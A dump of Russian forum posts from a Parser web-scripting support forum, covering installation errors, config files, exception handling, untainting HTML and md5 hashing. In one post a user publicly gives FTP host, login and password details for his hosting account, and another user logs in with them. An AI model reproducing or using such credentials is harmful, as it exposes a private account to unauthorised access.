многие непонятности насчет \"вроде подключены\" помогает решить _test.html который можно скачать в соответствующем разделе."
"15606","пробовал, все равно чистая страница..."
"15607","Это хостиног не безплатный, просто предоставляют тестовый. Все сделал по мануалке с сайта. Сайт я уже вроде, как сделал но у себя на машинке, пытолся на сайте загрузить _test.html - загружает чистую страницу!!!"
"15608","- вот что получится. Упрощать разработку сложных вещей губительно для качества. Чтобы было вкусно - надо покупать сырые изделия (читай - чей-то код, примеры) и варить самому.\
\
Однако толпа хочет без труда и проблем с взаимоотношениями. Поэтому желтым Роллтоном питаются сотни тысяч, а всякие бестолковые CMS плодятся как тараканы в брачный сезон. Даже у нас в маленьком городе умельцы состряпали одну и двигают через все, что можно.\
\
В конце-концов все так и будет. Сегмент желтых конструкторов \"Роллтон\" для дешевого потребления, сегмент CMS для всяких порталов и ручная работа.\
\
Чего-то я загнался ;) флейм-офф."
"15609","При загрузке это страницы получается такое:\
Unhandled Exception\
column not found\
protocol\
\
/home/0/host2220/public_html/_test.html(199)\
exception.type=parser.runtime \
--------------------------------------------------------------------------------\
menu /home/0/host2220/public_html/_test.html(198)\
if /home/0/host2220/public_html/_test.html(197)\
\
Хотя загружал одну из тестовых страниц с таким кодом и все работает:\
<html>\
<head>\
<title>Проверка системы Parser</title>\
</head>\
<body bgcolor=white text=black>\
\
<table border=\"0\" cellspacing=\"0\" cellpadding=\"2\">\
	<tr>\
		<td>\
			<span style=\"font-family:FreeSetC,Arial; font-size:12pt; color:#000000\"><b>\
			Проверка системы Parser\
			<br/></b></span>\
		</td>\
	</tr>\
	<tr><td bgcolor=\"#99D228\" height=\"3\"></td></tr>\
</table>\
\
<p>Данная страница сгенерирована при помощи системы <a href=http://parser.ru>Parser</a>. Если вы видите этот текст, значит, все работает корректно.\
\
<p>Пример того, как Parser вычисляет выражения:\
\
<pre>\
2 * 2 = ^eval(2*2)\
</pre>\
\
<p>Если вы видите, что ответ — 4, то Parser справился с задачей.\
\
<p><a href=article.html>Проверить работу встроенного модуля XML/XSL</a><br>\
<a href=dbtest.html>Проверить интерфейс с MySQL</a>\
\
\
<br><br>\
<table border=\"0\" cellspacing=\"0\" cellpadding=\"2\">\
	<tr>\
		<td>\
			<span style=\"font-family:FreeSetC,Arial; font-size:12pt; color:#000000\"><b>\
			Ссылки по теме\
			<br/></b></span>\
		</td>\
	</tr>\
	<tr><td bgcolor=\"#99D228\" height=\"3\"></td></tr>\
</table>\
\
<p>\
<a href=http://parser.ru>Официальный сайт Parser.Ru</a>.<br>\
<a href=http://parser.ru/docs/lang/>Онлайн-документация по языку</a>.<br>\
<a href=http://parser.ru/examples/>Примеры использования Parser</a>.<br>\
<a href=http://parser.ru/faq/>FAQ по Parser</a>.<br><br>\
<a href=\"/\">Вернуться на главную страницу Денвера</a>.\
</body>\
</html>\
\
Огромное спасибо всем отозвавшимся..."
"15610","1. есть такой-то хостинг (далее параметры хостинга: ос, структура каталогов, где работают cgi, т.к. мало кто полезет выяснять что-же там за хостинг у тебя...)\
2. взял такие-то файлы с этого сайта.\
3. сделал с ними то-то и то-то (чем закачивал, что куда положил, подробно)\
4. проблема в том-то и том-то (обращаюсь http://мой_сайт/_test.html и вижу 500 ошибку...)\
\
что написано у тебя? гадать можно сколько угодно - толку не будет.\
что такое \"белая страница\"? а если сделать view source? а если положить просто текстовый файл и обратиться к нему убрав парсер?"
"15611","...в начатом вами там треде?"
"15612","1.Eсть такой-то хостинг http://abw-host.com/(ОС-FreeBSD, так как на сайте дыл единственный каталог public_html, пробовал размещать в нем обычный файл index.html и он грузился при обращени к сайту, то я решил, что он основной, в нем есть каталог cgi-bin)\
2. Взял все файлы, как написано в руководстве: auto.p, parser.cgi и папку charsets поместил в cgi-bin, .htaccess и _test.html в public_html и папку charsets.\
4. Закачивал Windows Commander-ом, режим обмена-файлы, права доступа на все файлы-755.\
5.При загрузке страницы http://yura.user.abw-host.com/_test.html получается такое:\
Unhandled Exception\
column not found\
protocol\
\
/home/0/host2220/public_html/_test.html(199)\
exception.type=parser.runtime \
--------------------------------------------------------------------------------\
menu /home/0/host2220/public_html/_test.html(198)\
if /home/0/host2220/public_html/_test.html(197)\
\
Хотя загружал одну из тестовых страниц с таким кодом и все работает:\
<html>\
<head>\
<title>Проверка системы Parser</title>\
</head>\
<body bgcolor=white text=black>\
\
<table border=\"0\" cellspacing=\"0\" cellpadding=\"2\">\
<tr>\
<td>\
<span style=\"font-family:FreeSetC,Arial; font-size:12pt; color:#000000\"><b>\
Проверка системы Parser\
<br/></b></span>\
</td>\
</tr>\
<tr><td bgcolor=\"#99D228\" height=\"3\"></td></tr>\
</table>\
\
<p>Данная страница сгенерирована при помощи системы <a href=http://parser.ru>Parser</a>. Если вы видите этот текст, значит, все работает корректно.\
\
<p>Пример того, как Parser вычисляет выражения:\
\
<pre>\
2 * 2 = ^eval(2*2)\
</pre>\
\
<p>Если вы видите, что ответ — 4, то Parser справился с задачей.\
\
<p><a href=article.html>Проверить работу встроенного модуля XML/XSL</a><br>\
<a href=dbtest.html>Проверить интерфейс с MySQL</a>\
\
\
<br><br>\
<table border=\"0\" cellspacing=\"0\" cellpadding=\"2\">\
<tr>\
<td>\
<span style=\"font-family:FreeSetC,Arial; font-size:12pt; color:#000000\"><b>\
Ссылки по теме\
<br/></b></span>\
</td>\
</tr>\
<tr><td bgcolor=\"#99D228\" height=\"3\"></td></tr>\
</table>\
\
<p>\
<a href=http://parser.ru>Официальный сайт Parser.Ru</a>.<br>\
<a href=http://parser.ru/docs/lang/>Онлайн-документация по языку</a>.<br>\
<a href=http://parser.ru/examples/>Примеры использования Parser</a>.<br>\
<a href=http://parser.ru/faq/>FAQ по Parser</a>.<br><br>\
<a href=\"/\">Вернуться на главную страницу Денвера</a>.\
</body>\
</html>\
\
Огромное спасибо всем отозвавшимся..."
"15613","fedich? спасибо за ответ! \
буду наверное хостится на консалтинге или 350.мб\
Задачи у меня не архислжные, но весь сайт лежит в майСКЛ-овской базе, посему надо стоб парсер / хостинг / база дружили.\
Я ужу почти со всеми админами этих хостеров переговорил - теперь буду на соственной шкуре пробовать!"
"15614","Делаешь отдельный файлик, который будет отображать только увеличенную копию... Для него делаешь оформление, какое хочешь.\
К примеру\
[code]\
<html>\
<head><title>Тут большая фотка</title></head>\
<body>\
...здесь будешь проверять и выводить фотографию\
</body>\
</html>\
[/code]\
А дальше просто, передаешь в него к примеру путь к увеличенной картинке, или ее id и выводишь."
"15615","еще вот какой вопрос.\
допустим у меня в таблице есть запись с <br> - $tab.body\
значта, для того, что-бы эти тэги проканывали, необходимо применить ^untaint{$tab.body} но при этом браузер видит все тэги, то бишь ломануть это дело теперь не составляет труда.\
Мне надо что-бы браузер видел только <br>.\
Значта, что я пытался сделать. переменную с текстом \"загрязнить\" до вывода,  заменить &lt^;br&gt^; на <br>, и затем через ^untaint пропустить. Но тогда почему-то текст выводится дважды - один раз \"грязный\", второй - так как надо. Когда пытаюсь ввести доп переменную, т. е. $bbody[^taint[html][$tab.body]], затем в ней провести замены, ничего не получается. Больше часа вчера проковырялся, так ничего и не понял. Подскажите, пожалеста, как разобраться с проблемой."
"15616","Пробовал так\
\
[code]\
<html>\
<head><title>$fotki.comment</title></head>\
<body> \
$showpic[^image::measure[$fotki.uri]] \
^showpic.html[  \
   $.alt[$fotki.comment] \
]\
</body>\
</html>\
[/code]\
\
пишет: [b]measure failed: Permission denied (13), actual filename 'z:/home/site2/www/browse/'\
\
exception.type=file.access[/b]\
\
Что-то я наверное не так делаю..."
"15618","Послушайте.\
\
Я согласен, что проект Front Page был провальным и тут же себя исчерпал, но это не значит, что нельзя написать отличную среду для разработки, подумайте на этим и скажите.\
\
<флейм> Желтые макароны Роллтон. Я не знаю что это такое. Я не ем макароны. </флейм>"
"15621","таблица загружена, но в ней нету такой колонки (protocol)\
\
парсер использует tab delimited формат, возможно у вас между названиями столбцов в конфигурационном auto.p символы табуляции заменились на пробелы (например вы правили его редактором, который имеет подобную \"фичу\").\
\
попробуйте положить рядом с парсером оригинальный auto.p который скачан с сайта (без редактирования) или для начала правьте его notepad-ом...\
\
судя по тому, что у вас парсер выдает сообщение об ошибке он таки взят правильный, скопирован куда надо, правильно назначен обработчиком html файлов, и по сути практически все работает.\
\
P.S. обновил _test.html добавив в нем обработку этого исключения и вывод небольшого комментария на счет подобной ошибки."
"15623","Я понял, file.missing можно отловить только в @unhandled_exception.\
Но тогда я из этого метода не могу вызвать ни один свой.\
Из него вообще ничего, кроме простого вывода не работает.\
Переменные, методы и тд. остаются неинициализированными, кроме переменных метода @auto[]\
Как поступать, если у меня не просто выдача страницы, а сложные манипуляции с кукесами тд.\
Кукесы тоже не читаются из @unhandled_exception.\
Как поступать? Простой редирект неподходит, потому-что пользователь должен видеть неправильную строку адреса.\
ErrorDocument 404 /error/404.htm мне идеально подходит, пока пользователь не введет что-нить такое /dfsdfsdfsd.htm\
Нельзя никак, чтоб перед вызовом парсера апач сам проверял наличие файла?\
Или как нить через парсер все можно провернуть?"
"15624","[code]\
^try{\
	// код вызывающий исключения\
}{\
	^if($exception.type eq file.missing){\
		$exception.handled(1)\
		// код обработки ошибки\
	}\
}\
// остальной код метода\
[/code]"
"15625","требуется вебкодер\
на постоянную работу (Москва)\
график работы: свободный\
специальные требования: знание парсера\
оплата: после собеседования"
"15626","на Парсере программку, которая будет переводить любой (даже не соответствующий спецификации, но воспринимаемый браузером) HTML в XML.\
\
А потом можно сделать чтобы она и XSL оформление делала.\
\
Есть идеи? отклики?\
Жду предложений. В особенности от профов по \"Регулярным выражениям\"."
"15627","[url=\"http://www.parser.ru/forum/?id=4570\"]Есть разные редиректы[/url] - внутренний и внешний, если использовать внутренний, в строке запроса останется \"неправильный\" адрес, т.е. если проблема только в этом, то можно и с [url=\"http://www.parser.ru/forum/?id=14985\"]@unhandled_exception[/url]."
"15628","Ага, а где ловить ошибку, если файл передаваемый на парсинг парсеру отсутствует?\
где?\
По try его не поймаешь, это ошибка не моего кода, где я его могу ловить (открытие, удаление и тд файла средствами парсера)\
"
"15629","Я так и делал, но путь наверное был не /error/404.htm а error/404.htm\
Во втором случае он меня перекидывает внешним редиректом, так-ка не знает относительно чего путь.\
Спасибо!!!"
"15630","ссылку. Например если читаеш сообщение со страницы 6, то хотелось бы не пролистывать назад весь тред и не возвращаться к началу форума, а кликнуть на ссылку \"на текущую страницу\" и попасть на неё.\
\
Её можно поставить прям возле ссылки [b]форум[/b]\
\
Спасибо."
"15632","нужно решить следующую задачу на Парсере:\
есть переменная $pwd[qwerty]\
Как с помощью парсера зашифровать её методом md5, чтобы получился тот же результат, что даёт следующий код на php:\
[code]\
$pwd=\"qwerty\";\
$cript=md5($pwd);\
[/code]\
\
Если решения эта задача не имеет, то могу поделиться положительным опытом скрещивания и совместного разведения в неволе парсера и пхп :)) - есть рабочий пример, как из одного в другой подсовывать post-ом параметры, делать редиректы и т.п. штучки :)\
\
Но хотелось, чтобы решение кто-то всё же подсказал - это позволило бы избежать многих извратных манипуляций сразу с 2-мя языками программирование."
"15634","Всем привет.\
\
У меня по gregor.ru в скором будущем будет раскидано некоторое кол-во проектов. Корневой же сайт будет выполнять только роль заставки и краткого сборника новостей со всех сайтов. Причем все это усугубляется тем, что проекты будут доступны или не доступны в различных языковых версиях сайта.\
\
Чтобы по-минимуму морочить пользователей, решено было сделать запоминание языка через куку. Хотелось бы также сделать и автоматическое определение по ip или имени хоста его местоположения. И вот такие вопросы назрели:\
1) В сторону каких функций парсера покопать бы, чтобы максимально упростить задачу? (кроме кук, конечно =).\
2) Не знает ли кто-нибудь, по какой схеме вычисляются координаты в пространстве =) хостов? Почти на всех статистиках это есть, да и на некоторых любительских сайтах видел такое.\
3) Кто-нибудь такое вообще делал? Можете опытом поделиться?\
\
С уважением, Григорий."
"15635","А нафиг оно надо? =)\
Но если очень хочется, то, наверное, стоит копнуть в сторону XHTML. Думаю, привести HTML к XHTML будет не сложно, а последний, это уже XML-формат, если не ошибаюсь."
"15637","Как установить PARSER под Debian Linux\
"
"15638","О =) Никак не думал, что этот вопрос уже обсуждался. Спасибо.\
\
Однако, я правильно делаю вывод, что каждый решал эту задачу самостоятельно или покупал платные сервисы, типа этого geoIP? Слдовательно, в свободном распространении искать такую \"мульку\" бессмысленно?"
"15639","С ^try можно поймать всё что угодно (или кого угодно :)). В вашем случае код (открытие файла например), работающий с этим передаваемым файлом, просто помещается в try. Что делать дальше думаю ясно."
"15640","Огромное спаибо, новый _test.html работает корректно. Файл auto.p я качал оригинальный, с этого сайта. Значит ли все выше сказанное, что все настроено корректно, и почему со старым _test.html возникала такая проблема?"
"15641","Сразу не заметил, есть маленькая проблемка:\
1.\
Глобальные переменные, заданые в конфигурационном auto.p\
$CHARSETS:\
windows-1251 $charsetsdir/windows-1251.cfg относительный путь. проверка невозможна \
koi8-r $charsetsdir/koi8-r.cfg относительный путь. проверка невозможна \
2. Можно ли теперь на сайте использовать структуру каталогов, как уз уроков и куда пихать auto.p своего сайта?"
"15642","если пользователь вызвал asdasdasqweqwe.htm\
Где?\
в @auto[]\
в @main[]\
где парсер начинает соединять auto.p с несуществующей хтмлкой -asdasdasqweqwe.htm ?\
В том то и дело, что не я открываю файл, а парсер открывает файл, переданный как переменная окружения апачем."
"15643","о чем вам _test.html и сообщает:\
[color=\"red\"]Неверная структура таблицы $SQL.drivers[/color]\
\
с файлом, скачаным с этого сайта таких проблем быть не должно.\
дайте ссылку на файл, который вы качали отсюда и который по вашим словам выходит \"некорректный\" - проверю.\
\
возможно ваш ftp клиент при закачке что-либо такое сделал...\
\
неужели сложно скачать его с вашего сайта обратно, открыть и проверить что за разделители используются в качестве разделителей столбцов в таблице?\
\
P.S. опять внес изменения в _test.html чтобы при некоректной таблице ее содержимое все-таки показалось..."
"15644","1. написано: относительные пути, я не могу найти файлы чтобы удостовериться, что они есть и читаются. если в конфигурационном auto.p поправите пути на абсолютные - тест проверит немного больше.\
\
2. subj. работать в вашем случае должно все, что не связано с SQL. все что связано - работать не будет точно т.к. не определена таблица с драйверами.\
"
"15645","...хотя это одно и тоже, но подходы здесь разные.\
Товарищ egr пытается довести до вас способ file.missing.\
Товарищ Sergey.M - 404 Error."
"15646","про это я отлично знаю!\
я хочу узнать как этим методом зашифровать так, чтобы результат совпадал с тем, что возвращает функция md5() из PHP.\
у меня результат шифрования разный получается!!! вот в чём проблема. Либо я как-то не так шифрую, либо это вообще принципиально не возможно сделать :(\
\
Кто знает подскажите!?"
"15647","SQL тестовым хостиногм не поддерживается, поэтомы таблицу драйверов я не ставил. Как быть с размещением файла index.html, своего auto.p и какие пути прописывать в sections.cfg, если учитывать то, что структура папок на сайте /home/0/host2220/public_html/\
Прбовал разместить sections.cfg, index.html, auto.p в папку public_html, при этом в sections.cfg прописав следующее:\
section_id	name	uri\
1	Главная	/public_html/\
2	Новости	/public_html/news/\
3	Контакты	/public_html/contacts/\
4	Цены	/price/\
5	Ваше мнение	/public_html/gbook/\
сервер выдает такую ошибку:\
Unhandled Exception\
column not found\
protocol\
\
/home/0/host2220/public_html/index.html(199)\
exception.type=parser.runtime \
--------------------------------------------------------------------------------\
menu /home/0/host2220/public_html/index.html(198)\
if /home/0/host2220/public_html/index.html(197)\
"
"15648","не знаю, с чем вы это сравниваете, но, думаю, что mime64 там не делают.\
если хотите какую-то возможность в parser: так и скажите. и опишите подробно, что хотите."
"15649","Так его не поймать, хотя это тоже file.missing\
Ну я уже другим способом проблему решил.\
Хотя хороше-б корректно отлавливать их :)\
http://www.parser.ru/forum/?id=15629\
"
"15650","^if(def $exception.source){\
<b>$exception.source</b><br>\
<pre>^untaint[html]{$exception.file^($exception.lineno^)}</pre>\
}\
^if(def $exception.type){exception.type=$exception.type}\
^if($stack){\
<hr>\
^stack.menu{\
<tt>$stack.name</tt> $stack.file^($stack.lineno^)<br>\
}\
}\
\
]\
\
@unhandled_exception_release[exception;stack]\
^fatal_error[Unhandled Exception;\
\
<p>The server encountered an unhandled exception \
and was unable to complete your request.</p>\
<p>Please contact the server administrator, $env:SERVER_ADMIN\
and inform them of the time the error occurred, \
and anything you might have done that may have caused the error.</p>\
<p>More information about this error may be available in the Parser error log\
or in debug version of unhandled_exception.</p>\
\
]\
\
@unhandled_exception[exception;stack]\
^unhandled_exception_release[$exception;$stack]\
\
@auto[]\
#source/client charsets\
$request:charset[windows-1251]\
$response:charset[windows-1251]\
\
$response:content-type[\
$.value[text/html]\
$.charset[$response:charset]\
]\
\
#$SQL.connect-string[mysql://user:pass@host/db?charset=cp1251_koi8]\
#$SQL.connect-string[pgsql://user:pass@host/db]\
#$SQL.connect-string[oracle://user:pass@service?NLS_LANG=RUSSIAN_AMERICA.CL8MSWIN1251&NLS_DATE_FORMAT=YYYY-MM-DD HH24:MI:SS]"
"15651","[i]SQL тестовым хостиногм не поддерживается, поэтомы таблицу драйверов я не ставил.[/i]\
в смысле? поподробнее пожалуйста о \"таблицу драйверов не ставил\"\
\
[i]Как быть с размещением файла index.html, своего auto.p и какие пути прописывать в sections.cfg[/i]\
всё кидаем в public_html, структура таблицы исходная, т.е. ничего не меняем, т.е.:\
1 Главная /\
2 Новости /news/\
3 Контакты /contacts/\
...\
\
[i]сервер выдает такую ошибку:\
Unhandled Exception\
column not found\
protocol\
[/i]\
йолкии, вам же Миша уже объяснил из за чего это...\
Скачайте конфигурационный файл из раздела \"скачать\" и замените им свой в cgi-bin'e.\
\
Тот файл, содержимое которого вы тут запостили, неполон/нерабочий.\
\
[b]Поправка:[/b] а что это у вас за папка www в public_html?\
Почему когда я в нее захожу, всё работает? Разберитесь...\
http://yura.user.abw-host.com/www/   \
\
 "
"15652","я не вижу у вас понимания того, что вы делаете.\
\
вы не понимаете к каким результатам приводит то, что вы делаете, но тем не менее вы продолжаете делать это, и делать неправильно.\
\
вы привели конфигурационный auto.p просто отрезаный посередине. вам не приходило в голову, что так делать нельзя, что у него есть какая-то структура, что в нем есть методы, у которых нельзя просто оторвать половину? (причем об этом написано в документации, которую вы, по вашему утверждению прочитали). я не увидил в приведенном конфигурационном auto.p половину, которая очень важна, а клещей как у ПАФа для вытаскивания информации у меня нету.\
неужели сложно было положить конфигурационный файл в том виде, в котором вы его скачали? с ним в том виде все работать должно, и подобных ошибок не было-бы.\
\
я не вижу у вас желание думать после того, как вам выдалась ошибка.\
[code]\
/home/0/host2220/public_html/index.html(199)\
exception.type=parser.runtime \
--------------------------------------------------------------------------------\
menu /home/0/host2220/public_html/index.html(198)\
if /home/0/host2220/public_html/index.html(197)\
[/code]\
что может быть проще открыть файл /home/0/host2220/public_html/index.html и посмотреть на его 199 строку? парсер трижды указал вам на этот файл в одном сообщении об ощибке. и если уж вам не понятно, почему там есть ругань - показать его содержимое в форуме.\
\
[quot]\
Прбовал разместить sections.cfg, index.html, auto.p в папку public_html, при этом в sections.cfg прописав следующее:...[/quot]\
\
пардоньте, а где вы привели содержимое остальных файлов, которые вы размещаете? думаете, все читают мысли на расстоянии?\
\
в общем я пас. subj."
"15653","Элементарный код на PHP\
[code]\
<?php\
$pwd=\"qwerty\";\
echo md5($pwd);\
?>\
[/code]\
выводить следующее:\
d8578edf8458ce06fbc5bb76a58c5ca4\
\
вопрос такой: как мне нужно вызвать на парсере метод ^math:crypt, чтобы он превратил строку \"qwerty\" в d8578edf8458ce06fbc5bb76a58c5ca4\
\
т.е. в тоже самое что выдаёт PHP? весь вопрос собственно в этом.\
Обрисую ситуацию, почему возникла необходимость в этом. Есть движок для сайта на парсере с регистрацией пользователей (в БД храняться зашифрованные через md5 парсером пароли). Так же есть чат, написанный на PHP, который переделывать не хочется, а этот самый чат пароли шифрует на пхп через функцию md5(). А регистрацию и для всего сайта и для чата нужно сделать общей! Более того общую регистрацию уже сделали, но пришлось сильно извратиться для этого. Было бы хорошо, если бы можно было зашифровать парсером пароль и получить такой же результат от шифрования, какой выдаёт PHP. Это бы сильно облегчило жизнь.\
\
Если кто подскажет, буду очень благодарен."
"15654","1.На форуме было написано, что поддуржку SQL можно установить потом.\
2.Где делось половина файла не знаю, скачал заново, вот его содержимое:\
@conf[filespec]\
$confdir[^file:dirname[$filespec]]\
$charsetsdir[$confdir/charsets]\
$sqldriversdir[$confdir/lib]\
\
$CHARSETS[\
$.koi8-r[$charsetsdir/koi8-r.cfg]\
# $.windows-1250[$charsetsdir/windows-1250.cfg]\
$.windows-1251[$charsetsdir/windows-1251.cfg]\
# $.windows-1257[$charsetsdir/windows-1257.cfg]\
]\
#change your client libraries paths to those on your system\
$SQL[\
$.drivers[^table::set{protocol driver client\
mysql $sqldriversdir/libparser3mysql.so libmysqlclient.so\
pgsql $sqldriversdir/libparser3pgsql.so libpq.so\
oracle $sqldriversdir/libparser3oracle.so /u01/app/oracle/product/8.1.5/lib/libclntsh.so?ORACLE_HOME=/u01/app/oracle/product/8.1.5&ORA_NLS33=/u01/app/oracle/product/8.1.5/ocommon/nls/admin/data\
}]\
]\
\
#for ^file::load[name;user-name] mime-type autodetection\
$MIME-TYPES[^table::set{ext mime-type\
zip application/zip\
doc application/msword\
xls application/vnd.ms-excel\
pdf application/pdf\
ppt application/powerpoint\
rtf application/rtf\
gif image/gif\
jpg image/jpeg\
png image/png\
tif image/tiff\
html text/html\
htm text/html\
txt text/plain\
mts application/metastream\
mid audio/midi\
midi audio/midi\
mp3 audio/mpeg\
ram audio/x-pn-realaudio\
rpm audio/x-pn-realaudio-plugin\
ra audio/x-realaudio\
wav audio/x-wav\
au audio/basic\
mpg video/mpeg\
avi video/x-msvideo\
mov video/quicktime\
swf application/x-shockwave-flash\
}]\
\
$LIMITS[\
$.post_max_size(10*0x400*0x400)\
] \
\
@fatal_error[title;body]\
$response:status(500)\
$response:content-type[\
$.value[text/html]\
$.charset[$response:charset]\
]\
<html>\
<head><title>$title</title></head>\
<body>\
<H1>$title</H1>\
$body\
#for [x] MSIE friendly\
^for[i](0;512/8){<!-- -->}\
</body>\
\
@unhandled_exception_debug[exception;stack]\
^fatal_error[Unhandled Exception (Debug);\
\
<pre>^untaint[html]{$exception.comment}</pre>\
^if(def $exception.source){\
<b>$exception.source</b><br>\
<pre>^untaint[html]{$exception.file^($exception.lineno^)}</pre>\
}\
^if(def $exception.type){exception.type=$exception.type}\
^if($stack){\
<hr>\
^stack.menu{\
<tt>$stack.name</tt> $stack.file^($stack.lineno^)<br>\
}\
}\
\
]\
\
@unhandled_exception_release[exception;stack]\
^fatal_error[Unhandled Exception;\
\
<p>The server encountered an unhandled exception \
and was unable to complete your request.</p>\
<p>Please contact the server administrator, $env:SERVER_ADMIN\
and inform them of the time the error occurred, \
and anything you might have done that may have caused the error.</p>\
<p>More information about this error may be available in the Parser error log\
or in debug version of unhandled_exception.</p>\
\
]\
\
@unhandled_exception[exception;stack]\
^unhandled_exception_release[$exception;$stack]\
\
@auto[]\
#source/client charsets\
$request:charset[windows-1251]\
$response:charset[windows-1251]\
\
$response:content-type[\
$.value[text/html]\
$.charset[$response:charset]\
]\
\
#$SQL.connect-string[mysql://user:pass@host/db?charset=cp1251_koi8]\
#$SQL.connect-string[pgsql://user:pass@host/db]\
#$SQL.connect-string[oracle://user:pass@service?NLS_LANG=RUSSIAN_AMERICA.CL8MSWIN1251&NLS_DATE_FORMAT=YYYY-MM-DD HH24:MI:SS]\
3. Извените за недоразумение с файлом, спасибо что решили помочь, я толко начинающий.\
4.Что, если cgi-bin переписать в начало, т.е. http://yura.user.abw-host.com/cgi-bin, а папку удалить."
"15656","только вы об этом не говорите.\
\
попросите любого C++ программера возле вас добавить такую функцию в общедоступные исходники parser'а, благо md5 библиотека в parser [b]уже[/b] есть, и написать тривиально.\
\
потом пришлите мне patch, чтобы и другие попользовались.\
\
если не найдёте нужного человека, напишите необходимое на perl, и подключайте его через file::exec."
"15657","кодирования/декодирования на PHP, и в нужном месте вызывайте/подключайте его. Благо, средства и Парсера, и PHP это позволяют.\
"
"15659","можно использовать средства криптования вашей СУБД, например в MySQL есть прекрасно работающая функция MD5(), я во времена Парсер2 только ею и пользовался, за неимением альтернативы. Потом правда решил написать на П2 собственный алгоритм MD5, но загнулся на массивах, так и не придумал как реализовать, руки не дошли...\
\
с ^math:crypt пока особо не разбирался, но как-то не верится что результаты не совпадают, было бы обидно если это так... "
"15660","Может Вы и великий человек в области Parser-а, но никто не давал Вам права безосновательно обвинять человека во лжи. Зачем мне писать неправду, я просто трое суток пытаюсь установить Parser, я новичок. Как могло получится, что файл _test.html, который Вы обновили загружается и работает все, кроме SQL, который я заведомо не ставил, а старый файл _test.html не работает??? Я просто просил помощи..."
"15661","Вот у вас в public_html есть две папки - www и cgi-bin, вы их сами сделали, или они там были изначально?\
\
Что у вас лежит в папке www, какие файлы?\
Что у вас лежит в папке cgi-bin?\
А .htaccess вы куда положили?\
\
пока только вопросы..."
"15662","я сопоставил слова, которые вы написали:\
\
1. приведенный вами конфигурационный auto.p - имеет половину содержания, т.е. он битый\
\
2. по вашему утверждению вы пытались скачать его с этого сайта несколько раз и он несколько раз был именно таким.\
\
3. на этом сайте он выложен в виде zip-архива, поэтому если проблема произошла при скачивании, то практически со 100% вероятностью данный файл не распаковался-бы, а что после распаковки от него осталась половина - я поверить не могу, пока сам не увижу нечто подобное своими глазами. и даже после этого не поверю.\
\
4. вы несколько раз качали файл test.zip, который почему-то скачивался и распаковывался правильно.\
\
отсюда я сделал вывод, что проблема была не в скачивании файла, а возможно в некорректном редактировании или некорректном закачивании его на ваш хостинг.\
\
данные предположения я строил для того, чтобы попытаться помочь, т.к. сами вы не предоставляли всю информацию, поэтому многое приходилось выпытывать и о многом догадываться, чтобы понять что и как вы делали, и отсюда решить - где вы могли ошибиться.\
\
если мои предположения и выводы задели вас - еще раз прошу прощения. я не пытался ни доказать свою правоту ни уличить вас во лжи.\
\
давайте прекратим это выяснение отношений.\
\
думаю, вам помогут."
"15663","1.Папка public_html и cgi-bin были изначально, папку www сделал сам, но она пустая..\
2.В папке cgi-bin лежат parser.cgi, auto.p и charsets\
3..htaccess лежит в public_html \
4.После того, как Misha v.3 обновил _test.html он начал работать: кликните http://yura.user.abw-host.com/_test.html\
5.Старый _test.html не работает, это как???"
"15665","Я больше не могу, перепробывал все. Может я дествительно идиот, но хочу знать, в чем моя ошибка, себе сделаю новый адресс, опишите пожалуйста, где моя ошибка....\
Адрес: ftp.abw-host.com\
Login: host2220\
Пароль: rjntyjr"
"15666","были некорректно залиты файлы, поменял местами файлы из www (да да, она была не пустая!) и из корня, всё заработало...\
"
"15667","Опишите, пожалуйста подробнее, поэтапно!!!!!!!"
"15669","зашел, посмотрел в www - лежат родимые, поменял местами.\
Что странно - сеичас смотрю в http://yura.user.abw-host.com/www/ - работает, а раньше не работало, проверял. Мистика...\
\
а с _test.html я пробовал баловаться, закачайте его по новой."
"15670","Вообще http://yura.user.abw-host.com/www/ не работает, страница грузится, но Parser там ничего  не обрабатывает (обратите внимание на меню на http://yura.user.abw-host.com)\
Мне не так важно стобы он работал, как то, почему он не работал (объясните, а то я так замучился что уже наверно явного не пойму)!!!\
Как я понял на сайте корневой каталог public_html."
"15671","работает и там и там, \"Главное\" в меню не подсвечивается потому что не совпадают параметры uri из таблицы(\"/\") с реальными(\"/www/\").\
\
Почему не работало раньше - понятия не имею, были подозрения на \"некорректную залитость\", но после того как \"битые\" файлы в www заработали не знаю что и думать...\
\
Судя по всему корневой каталог именно public_html.\
\
P.S. Перезалил за вас auto.p в cgi-bin и _test.html заодно."
"15672","Сделал HTLM файл который строит нужную таблицу и подгружает яваскрипт и стиль для подстветки, но куда теперь это добро вставлять (молчать поручик!). Если в HTML то какой получаетс смысл автоматизации обновлений - каждую страницу придется дублировать. если в auto.p ... вот тут мысли останавливаются."
"15675","вопрос написал, а тему забыл, чтот никто...\
посему повторюсь.\
допустим у меня в таблице есть запись с <br> - $tab.body\
значта, для того, что-бы эти тэги проканывали, необходимо применить ^untaint{$tab.body} но при этом браузер видит все тэги, то бишь ломануть это дело теперь не составляет труда.\
Мне надо что-бы браузер видел только <br>.\
Значта, что я пытался сделать. переменную с текстом \"загрязнить\" ^taint[html] до вывода, заменить &lt^;br&gt^; на <br>, и затем через ^untaint пропустить. Но тогда почему-то текст выводится дважды - один раз \"грязный\", второй - так как надо. Когда пытаюсь ввести доп переменную, т. е. $bbody[^taint[html][$tab.body]], затем в ней провести замены, ничего не получается. Больше часа вчера проковырялся, так ничего и не понял. Подскажите, пожалеста, как разобраться с проблемой."
"15676","Сделайте, пожалуйста. Потому как такие заморочки, видимо, часты.\
До того, как догадался посмотреть на форуме, как другие справляются, имел переписку с суппортом. Он все отрицал.\
Так что тем более будет полезно."
"15677","думаю, в сделаю в ближайшей версии"
"15678","Александр, я тут по форуму полазил и увидел ваше замечание о том, что \"refresh на 0 лучше не использовать\".\
А не поделитесь, почему? Или хотя бы ссылку, где про это почитать, а то я всю жизнь полагал, что запросто можно, хотя и смутно догадывался, что есть какие-то особенности (не ставит ведь почти никто).\
\
С уважением, Григорий."
"15679","Всем еще раз приветы!\
\
Какое-то просветление чувствуется сегодня с утра. Понял, что мою задачу лучше сделать при помощи таблице в базе, получения из нее XML и преобразования этого дела с XSLT. В общем, как у всех. =) Начал разбивать задачу на куски и пришел к тому, что неплохо бы написать кусок кода (класс?), который бы разбирал выдачу запроса, переданного параметром в функцию и строил бы из него текст xml-файла. Но созрел вопрос:\
\
1) Стоит ли писать такой универсальный класс вообще? Будет ли работа по универсализации стоить свеч? Или, может, ктото написал такой класс уже и положил в свободный доступ?\
\
2) Я, к сожалению, пока в парсере полный чайник, поэтому не могли бы вы мне подсказать, в сторону каких возможностей парсера копать, чтобы сделат грамотный разбор произвольного результата запроса?\
\
С уважением, Григорий."
